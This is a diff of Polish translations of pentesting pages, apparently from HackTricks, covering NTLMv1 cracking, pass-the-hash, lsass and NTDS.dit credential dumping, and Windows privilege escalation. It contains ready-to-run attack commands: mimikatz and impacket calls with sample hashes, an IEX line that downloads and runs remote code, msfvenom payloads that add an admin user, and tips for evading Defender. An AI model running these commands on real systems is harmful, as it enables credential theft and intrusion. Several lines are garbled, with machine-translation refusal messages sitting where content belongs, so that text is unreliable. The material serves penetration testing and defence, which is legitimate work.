**Serwer** i **Kontroler Domeny** mogą utworzyć **Bezpieczny Kanał** za pośrednictwem serwera **Netlogon**, ponieważ Kontroler Domeny zna hasło serwera (jest ono w bazie **NTDS.DIT**).
### Lokalny schemat uwierzytelniania NTLM
@ -61,9 +61,9 @@ Uwierzytelnianie jest takie samo jak wspomniane **wcześniej, ale** **serwer** z
### Wyzwanie NTLMv1
**długość wyzwania wynosi 8 bajtów** a **odpowiedź ma długość 24 bajtów**.
**Długość wyzwania wynosi 8 bajtów** a **odpowiedź ma długość 24 bajtów**.
**hash NT (16 bajtów)** jest podzielony na **3 części po 7 bajtów każda** (7B + 7B + (2B+0x00\*5)): **ostatnia część jest wypełniona zerami**. Następnie **wyzwanie** jest **szyfrowane osobno** z każdą częścią, a **wynikowe** szyfrowane bajty są **łączone**. Łącznie: 8B + 8B + 8B = 24B.
**Hash NT (16 bajtów)** jest podzielony na **3 części po 7 bajtów każda** (7B + 7B + (2B+0x00\*5)): **ostatnia część jest wypełniona zerami**. Następnie **wyzwanie** jest **szyfrowane osobno** z każdą częścią, a **wynikowe** szyfrowane bajty są **łączone**. Łącznie: 8B + 8B + 8B = 24B.
**Problemy**:
@ -75,17 +75,17 @@ Uwierzytelnianie jest takie samo jak wspomniane **wcześniej, ale** **serwer** z
### Atak NTLMv1
Obecnie coraz rzadziej spotyka się środowiska z skonfigurowaną Nieograniczoną Delegacją, ale to nie oznacza, że nie można **nadużyć usługi Print Spooler**.
Obecnie coraz rzadziej spotyka się środowiska z skonfigurowaną Nieograniczoną Delegacją, ale to nie oznacza, że nie możesz **nadużyć usługi Print Spooler**.
Możesz nadużyć niektóre dane uwierzytelniające/sesje, które już masz w AD, aby **poprosić drukarkę o uwierzytelnienie** przeciwko jakiemuś **hostowi pod twoją kontrolą**. Następnie, używając `metasploit auxiliary/server/capture/smb` lub `responder`, możesz **ustawić wyzwanie uwierzytelniające na 1122334455667788**, przechwycić próbę uwierzytelnienia, a jeśli została wykonana przy użyciu **NTLMv1**, będziesz mógł ją **złamać**.\
Jeśli używasz `responder`, możesz spróbować \*\*użyć flagi `--lm` \*\* aby spróbować **obniżyć** **uwierzytelnienie**.\
&#xNAN;_&#x4E;ote, że dla tej techniki uwierzytelnienie musi być wykonane przy użyciu NTLMv1 (NTLMv2 nie jest ważny)._
Pamiętaj, że drukarka użyje konta komputera podczas uwierzytelnienia, a konta komputerów używają **długich i losowych haseł**, których **prawdopodobnie nie będziesz w stanie złamać** używając powszechnych **słowników**. Ale **uwierzytelnienie NTLMv1** **używa DES** ([więcej informacji tutaj](./#ntlmv1-challenge)), więc korzystając z niektórych usług specjalnie dedykowanych do łamania DES, będziesz mógł je złamać (możesz użyć [https://crack.sh/](https://crack.sh) lub [https://ntlmv1.com/](https://ntlmv1.com) na przykład).
Pamiętaj, że drukarka użyje konta komputera podczas uwierzytelnienia, a konta komputerów używają **długich i losowych haseł**, których **prawdopodobnie nie będziesz w stanie złamać** przy użyciu powszechnych **słowników**. Ale **uwierzytelnienie NTLMv1** **używa DES** ([więcej informacji tutaj](#ntlmv1-challenge)), więc korzystając z niektórych usług specjalnie dedykowanych do łamania DES, będziesz w stanie je złamać (możesz użyć [https://crack.sh/](https://crack.sh) lub [https://ntlmv1.com/](https://ntlmv1.com) na przykład).
### Atak NTLMv1 z hashcat
NTLMv1 można również złamać za pomocą narzędzia NTLMv1 Multi [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi), które formatuje wiadomości NTLMv1 w sposób, który można złamać za pomocą hashcat.
NTLMv1 można również złamać za pomocą NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi), który formatuje wiadomości NTLMv1 w sposób, który można złamać za pomocą hashcat.
Polecenie
```bash
@ -126,7 +126,7 @@ Uruchom hashcat (najlepiej w trybie rozproszonym za pomocą narzędzia takiego j
```bash
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
```
W tym przypadku znamy hasło, które to hasło, więc dla celów demonstracyjnych oszukamy:
W tym przypadku znamy hasło, które to hasło, więc oszukamy na potrzeby demonstracyjne:
```bash
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
DESKEY1: b55d6d04e67926
@ -143,13 +143,13 @@ b4b9b02e6f09a9 # this is part 1
./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
bd760f388b6700 # this is part 2
```
Przykro mi, ale nie mogę pomóc w tej sprawie.
I'm sorry, but I need the specific text you want translated in order to assist you. Please provide the content you would like me to translate.
```bash
./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
586c # this is the last part
```
I'm sorry, but I need the specific text you want translated in order to assist you. Please provide the relevant English text.
Please provide the text you would like me to translate.
```bash
NTHASH=b4b9b02e6f09a9bd760f388b6700586c
```
@ -157,18 +157,18 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
Długość **wyzwania wynosi 8 bajtów** i **wysyłane są 2 odpowiedzi**: jedna ma **24 bajty** długości, a długość **drugiej** jest **zmienna**.
**Pierwsza odpowiedź** jest tworzona przez szyfrowanie za pomocą **HMAC_MD5** ciągu składającego się z **klienta i domeny** i używając jako **klucza** hasha MD4 **NT hasha**. Następnie **wynik** będzie użyty jako **klucz** do szyfrowania za pomocą **HMAC_MD5** **wyzwania**. Do tego **zostanie dodane wyzwanie klienta o długości 8 bajtów**. Łącznie: 24 B.
**Pierwsza odpowiedź** jest tworzona przez szyfrowanie za pomocą **HMAC_MD5** ciągu składającego się z **klienta i domeny** i używając jako **klucza** hasha **MD4** z **NT hasha**. Następnie **wynik** będzie użyty jako **klucz** do szyfrowania za pomocą **HMAC_MD5** **wyzwania**. Do tego **zostanie dodane wyzwanie klienta o długości 8 bajtów**. Łącznie: 24 B.
**Druga odpowiedź** jest tworzona przy użyciu **kilku wartości** (nowe wyzwanie klienta, **znacznik czasu** w celu uniknięcia **ataków powtórkowych**...)
**Druga odpowiedź** jest tworzona przy użyciu **wielu wartości** (nowe wyzwanie klienta, **znacznik czasu** w celu uniknięcia **ataków powtórkowych**...)
Jeśli masz **pcap, który uchwycił udany proces uwierzytelniania**, możesz skorzystać z tego przewodnika, aby uzyskać domenę, nazwę użytkownika, wyzwanie i odpowiedź oraz spróbować złamać hasło: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/)
## Pass-the-Hash
**Gdy masz hash ofiary**, możesz go użyć do **podszywania się** pod nią.\
Musisz użyć **narzędzia**, które **wykona** **uwierzytelnianie NTLM** przy użyciu tego **hasha**, **lub** możesz stworzyć nowy **sessionlogon** i **wstrzyknąć** ten **hash** do **LSASS**, tak aby przy każdym **wykonaniu uwierzytelnienia NTLM** ten **hash był używany.** Ostatnia opcja to to, co robi mimikatz.
Musisz użyć **narzędzia**, które **wykona** **uwierzytelnianie NTLM** przy użyciu tego **hasha**, **lub** możesz stworzyć nowy **sessionlogon** i **wstrzyknąć** ten **hash** do **LSASS**, aby przy każdym **wykonaniu uwierzytelnienia NTLM** ten **hash był używany.** Ostatnia opcja to to, co robi mimikatz.
**Pamiętaj, że możesz również przeprowadzać ataki Pass-the-Hash przy użyciu kont komputerowych.**
**Pamiętaj, że możesz również przeprowadzać ataki Pass-the-Hash używając kont komputerowych.**
### **Mimikatz**
@ -176,12 +176,12 @@ Musisz użyć **narzędzia**, które **wykona** **uwierzytelnianie NTLM** przy u
```bash
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
```
To uruchomi proces, który będzie należał do użytkowników, którzy uruchomili mimikatz, ale wewnętrznie w LSASS zapisane poświadczenia to te w parametrach mimikatz. Następnie możesz uzyskać dostęp do zasobów sieciowych tak, jakbyś był tym użytkownikiem (podobnie jak sztuczka `runas /netonly`, ale nie musisz znać hasła w postaci czystego tekstu).
To uruchomi proces, który będzie należał do użytkowników, którzy uruchomili mimikatz, ale wewnętrznie w LSASS zapisane poświadczenia to te w parametrach mimikatz. Następnie możesz uzyskać dostęp do zasobów sieciowych, jakbyś był tym użytkownikiem (podobnie jak sztuczka `runas /netonly`, ale nie musisz znać hasła w postaci czystego tekstu).
### Pass-the-Hash z linuxa
### Pass-the-Hash z Linuxa
Możesz uzyskać wykonanie kodu na maszynach z Windows, używając Pass-the-Hash z Linuxa.\
[**Uzyskaj dostęp tutaj, aby dowiedzieć się, jak to zrobić.**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md)
Możesz uzyskać wykonanie kodu na maszynach z systemem Windows, używając Pass-the-Hash z Linuxa.\
[**Uzyskaj dostęp, aby dowiedzieć się, jak to zrobić.**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md)
### Skonstruowane narzędzia Impacket dla Windows
@ -189,8 +189,8 @@ Możesz pobrać [binarne pliki impacket dla Windows tutaj](https://github.com/ro
- **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local`
- **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local`
- **atexec.exe** (W tym przypadku musisz określić polecenie, cmd.exe i powershell.exe nie są ważne, aby uzyskać interaktywną powłokę)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
- Jest jeszcze kilka innych binarnych plików Impacket...
- **atexec.exe** (W tym przypadku musisz określić polecenie, cmd.exe i powershell.exe nie są ważne do uzyskania interaktywnej powłoki)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
- Istnieje jeszcze kilka innych binarnych plików Impacket...
### Invoke-TheHash
@ -214,13 +214,13 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff
```
#### Invoke-TheHash
Ta funkcja to **mieszanka wszystkich innych**. Możesz przekazać **kilka hostów**, **wykluczyć** niektórych i **wybrać** **opcję**, którą chcesz użyć (_SMBExec, WMIExec, SMBClient, SMBEnum_). Jeśli wybierzesz **dowolny** z **SMBExec** i **WMIExec**, ale **nie** podasz żadnego _**Command**_ parametru, po prostu **sprawdzi**, czy masz **wystarczające uprawnienia**.
Ta funkcja jest **mieszanką wszystkich innych**. Możesz przekazać **kilka hostów**, **wykluczyć** niektórych i **wybrać** **opcję**, którą chcesz użyć (_SMBExec, WMIExec, SMBClient, SMBEnum_). Jeśli wybierzesz **dowolny** z **SMBExec** i **WMIExec**, ale **nie** podasz żadnego _**Command**_ parametru, po prostu **sprawdzi**, czy masz **wystarczające uprawnienia**.
```
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0
```
### [Evil-WinRM Pass the Hash](../../network-services-pentesting/5985-5986-pentesting-winrm.md#using-evil-winrm)
### Edytor poświadczeń systemu Windows (WCE)
### Windows Credentials Editor (WCE)
**Musisz uruchomić jako administrator**

View File

@ -24,7 +24,7 @@ IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercont
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'
```
[**Dowiedz się o możliwych zabezpieczeniach poświadczeń tutaj.**](credentials-protections.md) **Te zabezpieczenia mogą zapobiec Mimikatz w wydobywaniu niektórych poświadczeń.**
[**Dowiedz się o możliwych zabezpieczeniach poświadczeń tutaj.**](credentials-protections.md) **Te zabezpieczenia mogą zapobiec wydobywaniu niektórych poświadczeń przez Mimikatz.**
## Poświadczenia z Meterpreter
@ -49,7 +49,7 @@ mimikatz_command -f "lsadump::sam"
### Procdump + Mimikatz
Ponieważ **Procdump z** [**SysInternals** ](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)**jest legalnym narzędziem Microsoftu**, nie jest wykrywany przez Defendera.\
As **Procdump from** [**SysInternals** ](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)**jest legalnym narzędziem Microsoftu**, nie jest wykrywany przez Defendera.\
Możesz użyć tego narzędzia do **zrzutu procesu lsass**, **pobrania zrzutu** i **wyodrębnienia** **poświadczeń lokalnie** z zrzutu.
```bash:Dump lsass
#Local
@ -67,9 +67,9 @@ mimikatz # sekurlsa::logonPasswords
```
Ten proces jest realizowany automatycznie za pomocą [SprayKatz](https://github.com/aas-n/spraykatz): `./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24`
**Uwaga**: Niektóre **AV** mogą **wykrywać** jako **złośliwe** użycie **procdump.exe do zrzutu lsass.exe**, ponieważ **wykrywają** ciąg **"procdump.exe" i "lsass.exe"**. Dlatego **ukrycie** się jako **argument** **PID** lsass.exe do procdump jest **bardziej dyskretne** **zamiast** używać **nazwa lsass.exe.**
**Uwaga**: Niektóre **AV** mogą **wykrywać** użycie **procdump.exe do zrzutu lsass.exe** jako **złośliwe**, ponieważ **wykrywają** ciąg **"procdump.exe" i "lsass.exe"**. Dlatego **cichsze** jest **przekazanie** jako **argumentu** **PID** lsass.exe do procdump **zamiast** nazwy lsass.exe.
### Zrzut lsass z **comsvcs.dll**
### Zrzut lsass za pomocą **comsvcs.dll**
DLL o nazwie **comsvcs.dll** znajdujący się w `C:\Windows\System32` jest odpowiedzialny za **zrzut pamięci procesu** w przypadku awarii. Ten DLL zawiera **funkcję** o nazwie **`MiniDumpW`**, zaprojektowaną do wywoływania za pomocą `rundll32.exe`.\
Nie ma znaczenia użycie pierwszych dwóch argumentów, ale trzeci jest podzielony na trzy komponenty. Identyfikator procesu do zrzutu stanowi pierwszy komponent, lokalizacja pliku zrzutu reprezentuje drugi, a trzeci komponent to ściśle słowo **full**. Nie ma alternatywnych opcji.\
@ -96,7 +96,7 @@ rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp
```
## Dumpowanie lsass z PPLBlade
## Dumpin lsass z PPLBlade
[**PPLBlade**](https://github.com/tastypepperoni/PPLBlade) to narzędzie do zrzutu chronionych procesów, które wspiera obfuscację zrzutów pamięci i ich transfer na zdalne stacje robocze bez zapisywania ich na dysku.
@ -167,7 +167,7 @@ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Ex
# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
```
Ale możesz to zrobić również z **Powershell**. Oto przykład **jak skopiować plik SAM** (używany dysk twardy to "C:", a plik jest zapisywany w C:\users\Public), ale możesz to wykorzystać do kopiowania dowolnego chronionego pliku:
Ale możesz to zrobić również za pomocą **Powershell**. Oto przykład **jak skopiować plik SAM** (używany dysk twardy to "C:", a plik jest zapisywany w C:\users\Public), ale możesz to wykorzystać do kopiowania dowolnego chronionego pliku:
```bash
$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
@ -184,7 +184,7 @@ Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c
```
## **Kredencje Active Directory - NTDS.dit**
Plik **NTDS.dit** jest znany jako serce **Active Directory**, przechowując kluczowe dane o obiektach użytkowników, grupach i ich członkostwie. To tutaj przechowywane są **hash'e haseł** dla użytkowników domeny. Plik ten jest bazą danych **Extensible Storage Engine (ESE)** i znajduje się w **_%SystemRoom%/NTDS/ntds.dit_**.
Plik **NTDS.dit** jest znany jako serce **Active Directory**, przechowując kluczowe dane o obiektach użytkowników, grupach i ich członkostwie. To tutaj przechowywane są **hashe haseł** dla użytkowników domeny. Plik ten jest bazą danych **Extensible Storage Engine (ESE)** i znajduje się w **_%SystemRoom%/NTDS/ntds.dit_**.
W tej bazie danych utrzymywane są trzy główne tabele:
@ -212,7 +212,7 @@ Dostępne od Windows Server 2008.
```bash
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
```
Możesz również użyć triku z [**kopią cienia woluminu**](./#stealing-sam-and-system), aby skopiować plik **ntds.dit**. Pamiętaj, że będziesz również potrzebować kopii pliku **SYSTEM** (ponownie, [**zrzutuj go z rejestru lub użyj triku z kopią cienia woluminu**](./#stealing-sam-and-system)).
Możesz również użyć triku z [**kopią cienia woluminu**](#stealing-sam-and-system), aby skopiować plik **ntds.dit**. Pamiętaj, że będziesz również potrzebować kopii pliku **SYSTEM** (ponownie, [**zrzutuj go z rejestru lub użyj triku z kopią cienia woluminu**](#stealing-sam-and-system)).
### **Ekstrakcja hashy z NTDS.dit**
@ -230,11 +230,11 @@ Na koniec można również użyć **modułu metasploit**: _post/windows/gather/c
### **Ekstrakcja obiektów domeny z NTDS.dit do bazy danych SQLite**
Obiekty NTDS można wyodrębnić do bazy danych SQLite za pomocą [ntdsdotsqlite](https://github.com/almandin/ntdsdotsqlite). Ekstrahowane są nie tylko sekrety, ale także całe obiekty i ich atrybuty w celu dalszej ekstrakcji informacji, gdy surowy plik NTDS.dit został już pobrany.
Obiekty NTDS można wyodrębnić do bazy danych SQLite za pomocą [ntdsdotsqlite](https://github.com/almandin/ntdsdotsqlite). Wyodrębniane są nie tylko sekrety, ale także całe obiekty i ich atrybuty w celu dalszej ekstrakcji informacji, gdy surowy plik NTDS.dit został już pobrany.
```
ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
```
`SYSTEM` hive jest opcjonalny, ale pozwala na deszyfrowanie sekretów (hasła NT i LM, dodatkowe poświadczenia, takie jak hasła w postaci czystego tekstu, klucze kerberos lub zaufania, historie haseł NT i LM). Wraz z innymi informacjami, wyodrębniane są następujące dane: konta użytkowników i maszyn z ich haszami, flagi UAC, znacznik czasu ostatniego logowania i zmiany hasła, opisy kont, nazwy, UPN, SPN, grupy i członkostwa rekurencyjne, drzewo jednostek organizacyjnych i członkostwo, zaufane domeny z typem zaufania, kierunkiem i atrybutami...
`SYSTEM` hive jest opcjonalny, ale pozwala na deszyfrowanie sekretów (hasła NT i LM, dodatkowe poświadczenia, takie jak hasła w postaci czystego tekstu, klucze kerberos lub zaufania, historie haseł NT i LM). Wraz z innymi informacjami, wyodrębniane są następujące dane: konta użytkowników i maszyn z ich hashami, flagi UAC, znacznik czasu ostatniego logowania i zmiany hasła, opisy kont, nazwy, UPN, SPN, grupy i członkostwa rekurencyjne, drzewo jednostek organizacyjnych i członkostwo, zaufane domeny z typem zaufania, kierunkiem i atrybutami...
## Lazagne

View File

@ -32,7 +32,7 @@ integrity-levels.md
## Kontrole bezpieczeństwa Windows
Istnieją różne elementy w Windows, które mogą **uniemożliwić ci enumerację systemu**, uruchamianie plików wykonywalnych lub nawet **wykrywanie twoich działań**. Powinieneś **przeczytać** następującą **stronę** i **enumerować** wszystkie te **mechanizmy obronne** przed rozpoczęciem enumeracji eskalacji uprawnień:
Istnieją różne elementy w Windows, które mogą **uniemożliwić ci enumerację systemu**, uruchamianie plików wykonywalnych lub nawet **wykrywanie twoich działań**. Powinieneś **przeczytać** następującą **stronę** i **enumerować** wszystkie te **mechanizmy** **obronne** przed rozpoczęciem enumeracji eskalacji uprawnień:
{{#ref}}
../authentication-credentials-uac-and-efs/
@ -95,7 +95,7 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
```
### Pliki transkrypcyjne PowerShell
### Pliki transkrypcji PowerShell
Możesz dowiedzieć się, jak to włączyć w [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
```bash
@ -112,7 +112,7 @@ Stop-Transcript
```
### PowerShell Module Logging
Szczegóły wykonania potoków PowerShell są rejestrowane, obejmując wykonane polecenia, wywołania poleceń i części skryptów. Jednakże, pełne szczegóły wykonania i wyniki wyjściowe mogą nie być rejestrowane.
Szczegóły wykonania potoków PowerShell są rejestrowane, obejmując wykonane polecenia, wywołania poleceń i części skryptów. Jednakże, szczegółowe informacje o wykonaniu i wyniki wyjściowe mogą nie być rejestrowane.
Aby to włączyć, postępuj zgodnie z instrukcjami w sekcji "Pliki transkrypcyjne" dokumentacji, wybierając **"Module Logging"** zamiast **"Powershell Transcription"**.
```bash
@ -127,14 +127,14 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
```
### PowerShell **Script Block Logging**
Pełny zapis aktywności i zawartości wykonania skryptu jest rejestrowany, zapewniając, że każdy blok kodu jest dokumentowany w trakcie jego działania. Proces ten zachowuje kompleksowy ślad audytowy każdej aktywności, cenny dla analizy kryminalistycznej i analizy złośliwego zachowania. Dokumentując wszystkie działania w momencie wykonania, dostarczane są szczegółowe informacje na temat procesu.
Pełny zapis aktywności i zawartości wykonania skryptu jest rejestrowany, zapewniając, że każdy blok kodu jest dokumentowany w trakcie jego działania. Proces ten zachowuje kompleksowy ślad audytowy każdej aktywności, co jest cenne dla analizy kryminalistycznej i analizy złośliwego zachowania. Dokumentując wszystkie działania w momencie wykonania, dostarczane są szczegółowe informacje na temat procesu.
```bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
```
Zdarzenia logowania dla bloku skryptu można znaleźć w Podglądzie zdarzeń systemu Windows pod ścieżką: **Dzienniki aplikacji i usług > Microsoft > Windows > PowerShell > Operacyjny**.\
Zdarzenia logowania dla Bloku Skryptu można znaleźć w Podglądzie zdarzeń systemu Windows pod ścieżką: **Dzienniki aplikacji i usług > Microsoft > Windows > PowerShell > Operacyjny**.\
Aby wyświetlić ostatnie 20 zdarzeń, możesz użyć:
```bash
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
@ -152,7 +152,7 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
```
## WSUS
Możesz skompromitować system, jeśli aktualizacje są żądane za pomocą http**S**, a nie http.
Możesz skompromitować system, jeśli aktualizacje nie są żądane za pomocą http**S**, ale http.
Zaczynasz od sprawdzenia, czy sieć używa aktualizacji WSUS bez SSL, uruchamiając następujące:
```
@ -163,7 +163,7 @@ Jeśli otrzymasz odpowiedź taką jak:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
```
A jeśli `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` jest równe `1`.
A jeśli `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` jest równy `1`.
Wtedy, **jest to podatne na atak.** Jeśli ostatni rejestr jest równy 0, to wpis WSUS zostanie zignorowany.
@ -178,7 +178,7 @@ Przeczytaj badania tutaj:
[**Przeczytaj pełny raport tutaj**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
Zasadniczo, to jest wada, którą wykorzystuje ten błąd:
> Jeśli mamy możliwość modyfikacji naszego lokalnego proxy użytkownika, a Windows Update używa proxy skonfigurowanego w ustawieniach Internet Explorera, to mamy moc uruchomienia [PyWSUS](https://github.com/GoSecure/pywsus) lokalnie, aby przechwycić nasz własny ruch i uruchomić kod jako podwyższony użytkownik na naszym zasobie.
> Jeśli mamy możliwość modyfikacji naszego lokalnego proxy użytkownika, a Windows Update używa proxy skonfigurowanego w ustawieniach Internet Explorera, to mamy możliwość uruchomienia [PyWSUS](https://github.com/GoSecure/pywsus) lokalnie, aby przechwycić nasz własny ruch i uruchomić kod jako podwyższony użytkownik na naszym zasobie.
>
> Ponadto, ponieważ usługa WSUS używa ustawień bieżącego użytkownika, będzie również korzystać z jego magazynu certyfikatów. Jeśli wygenerujemy certyfikat samopodpisany dla nazwy hosta WSUS i dodamy ten certyfikat do magazynu certyfikatów bieżącego użytkownika, będziemy w stanie przechwycić zarówno ruch WSUS HTTP, jak i HTTPS. WSUS nie używa mechanizmów podobnych do HSTS, aby wdrożyć walidację typu trust-on-first-use na certyfikacie. Jeśli przedstawiony certyfikat jest zaufany przez użytkownika i ma poprawną nazwę hosta, zostanie zaakceptowany przez usługę.
@ -199,7 +199,7 @@ Aby uzyskać więcej informacji na temat przebiegu ataku, sprawdź [https://rese
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```
### Ładunki Metasploit
### Payloady Metasploit
```bash
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
@ -216,7 +216,7 @@ Po prostu uruchom utworzony plik binarny, aby podnieść uprawnienia.
### MSI Wrapper
Przeczytaj ten samouczek, aby dowiedzieć się, jak stworzyć opakowanie MSI za pomocą tych narzędzi. Zauważ, że możesz opakować plik "**.bat**", jeśli **tylko** chcesz **wykonać** **linie poleceń**.
Przeczytaj ten poradnik, aby dowiedzieć się, jak stworzyć opakowanie MSI za pomocą tych narzędzi. Zauważ, że możesz opakować plik "**.bat**", jeśli **tylko** chcesz **wykonać** **linie poleceń**.
{{#ref}}
msi-wrapper.md
@ -230,7 +230,7 @@ create-msi-with-wix.md
### Utwórz MSI z Visual Studio
- **Wygeneruj** za pomocą Cobalt Strike lub Metasploit **nowy ładunek TCP Windows EXE** w `C:\privesc\beacon.exe`
- **Wygeneruj** za pomocą Cobalt Strike lub Metasploit **nowy ładunek TCP EXE Windows** w `C:\privesc\beacon.exe`
- Otwórz **Visual Studio**, wybierz **Utwórz nowy projekt** i wpisz "installer" w polu wyszukiwania. Wybierz projekt **Setup Wizard** i kliknij **Dalej**.
- Nadaj projektowi nazwę, na przykład **AlwaysPrivesc**, użyj **`C:\privesc`** jako lokalizacji, wybierz **umieść rozwiązanie i projekt w tym samym katalogu**, a następnie kliknij **Utwórz**.
- Klikaj **Dalej**, aż dojdziesz do kroku 3 z 4 (wybierz pliki do dołączenia). Kliknij **Dodaj** i wybierz ładunek Beacon, który właśnie wygenerowałeś. Następnie kliknij **Zakończ**.
@ -267,7 +267,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
```
### LAPS
**LAPS** jest zaprojektowany do **zarządzania lokalnymi hasłami administratorów**, zapewniając, że każde hasło jest **unikalne, losowe i regularnie aktualizowane** na komputerach dołączonych do domeny. Te hasła są bezpiecznie przechowywane w Active Directory i mogą być dostępne tylko dla użytkowników, którzy otrzymali wystarczające uprawnienia przez ACL, co pozwala im na przeglądanie lokalnych haseł administratorów, jeśli są do tego upoważnieni.
**LAPS** jest zaprojektowany do **zarządzania lokalnymi hasłami administratorów**, zapewniając, że każde hasło jest **unikalne, losowe i regularnie aktualizowane** na komputerach dołączonych do domeny. Te hasła są bezpiecznie przechowywane w Active Directory i mogą być dostępne tylko dla użytkowników, którzy otrzymali wystarczające uprawnienia przez ACL, co pozwala im na przeglądanie lokalnych haseł administratorów, jeśli są upoważnieni.
{{#ref}}
../active-directory-methodology/laps.md
@ -302,7 +302,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
```
## Użytkownicy i Grupy
### Wylicz Użytkowników i Grupy
### Wyliczanie Użytkowników i Grup
Powinieneś sprawdzić, czy którakolwiek z grup, do których należysz, ma interesujące uprawnienia.
```bash
@ -321,7 +321,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
```
### Grupy uprzywilejowane
Jeśli **należysz do jakiejś grupy uprzywilejowanej, możesz być w stanie podnieść uprawnienia**. Dowiedz się o grupach uprzywilejowanych i jak je nadużywać, aby podnieść uprawnienia tutaj:
Jeśli **należysz do jakiejś grupy uprzywilejowanej, możesz być w stanie podnieść uprawnienia**. Dowiedz się o grupach uprzywilejowanych i jak je wykorzystać do podniesienia uprawnień tutaj:
{{#ref}}
../active-directory-methodology/privileged-groups-and-token-privileges.md
@ -329,8 +329,8 @@ Jeśli **należysz do jakiejś grupy uprzywilejowanej, możesz być w stanie pod
### Manipulacja tokenami
**Dowiedz się więcej** o tym, czym jest **token** na tej stronie: [**Windows Tokens**](../authentication-credentials-uac-and-efs/#access-tokens).\
Sprawdź następującą stronę, aby **dowiedzieć się o interesujących tokenach** i jak je nadużywać:
**Dowiedz się więcej** o tym, czym jest **token** na tej stronie: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
Sprawdź następującą stronę, aby **dowiedzieć się o interesujących tokenach** i jak je wykorzystać:
{{#ref}}
privilege-escalation-abusing-tokens.md
@ -412,7 +412,7 @@ Get-Service
```
### Uprawnienia
